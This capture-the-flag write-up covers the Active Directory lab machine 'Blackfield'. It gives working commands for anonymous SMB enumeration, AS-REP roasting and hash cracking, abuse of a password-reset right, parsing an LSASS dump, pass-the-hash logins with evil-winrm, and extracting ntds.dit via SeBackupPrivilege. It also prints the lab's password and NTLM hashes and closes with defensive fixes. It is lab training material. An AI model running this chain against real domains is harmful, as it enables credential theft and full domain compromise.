
Blackfield
- Anonymous profiles$ share
- AS-REP roast
- ForceChangePassword
- LSASS dump on a share
- SeBackupPrivilege
Contents
No creds on this one, just an IP.
Recon
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01; OS: WindowsA domain controller, DC01 in BLACKFIELD.local, with WinRM open.
a share that lists every user
smbclient //10.129.8.195/profiles$ -U ''The null session gets in. profiles$ holds over 300 directories, each named after a domain user. Those names go into users.txt.
Foothold: AS-REP roasting support
Usernames and no password, so check who has pre-authentication disabled:
GetNPUsers.py BLACKFIELD.local/ -userfile users.txt -format hashcat -dc-ip 10.129.8.195support does, and its hash comes back.
hashcat -m 18200 support.hash /usr/share/wordlists/rockyou.txtsupport : #00^BlackKnightLateral: support to svc_backup
support to audit2020
support has ForceChangePassword over audit2020, so i reset that account's password and used it from there. audit2020 is the account that can read the forensic share.
an LSASS dump on the forensic share
smbclient //10.129.8.195/forensic -U 'audit2020%<new password>'In \memory_analysis\:
get lsass.zipSomebody dumped LSASS for analysis and left it on a share.
reading the dump
pypykatz lsa minidump lsass.DMPTwo hashes worth keeping:
svc_backup: 9658d1d1dcd9250115e2205d9f48400d
Administrator: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62The Administrator one is no use for a login. svc_backup works:
evil-winrm -i 10.129.8.195 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400dPrivesc: SeBackupPrivilege to NTDS.dit
whoami /privsvc_backup holds SeBackupPrivilege and SeRestorePrivilege, which means it can read any file regardless of ACLs. On a DC that file is ntds.dit.
ntds.dit is locked while AD runs, so it has to come out of a shadow copy.
diskshadow.txt:
set context persistent nowriters
add volume c: alias scripta
create
expose %scripta% z:diskshadow /s diskshadow.txt
robocopy /b Z:\Windows\NTDS\ C:\Temp\ ntds.dit
reg save hklm\system C:\Temp\system.bak/b is backup mode, that's where SeBackupPrivilege gets used to skip the ACL check.
Download both files and dump them offline:
impacket-secretsdump -ntds ntds.dit -system system.bak LOCALAdministrator comes out as 184fb5e5178480be64824d4cd53b99ee, a different hash than the one in the LSASS dump.
evil-winrm -i 10.129.8.195 -u administrator -H 184fb5e5178480be64824d4cd53b99eedone.
What could Blackfield improve?
- no anonymous access to SMB shares.
profiles$gave away the full user list. - turn pre-authentication back on for
supportand give it a password that isn't in rockyou. supporthas no reason to hold ForceChangePassword overaudit2020. That one ACL turns a helpdesk password into access to the forensic share.- an LSASS dump doesn't belong on a file share, and every account in it needs a new password.
- an account with
SeBackupPrivilegeon a DC is a domain admin in practice. It should not be able to log on over WinRM.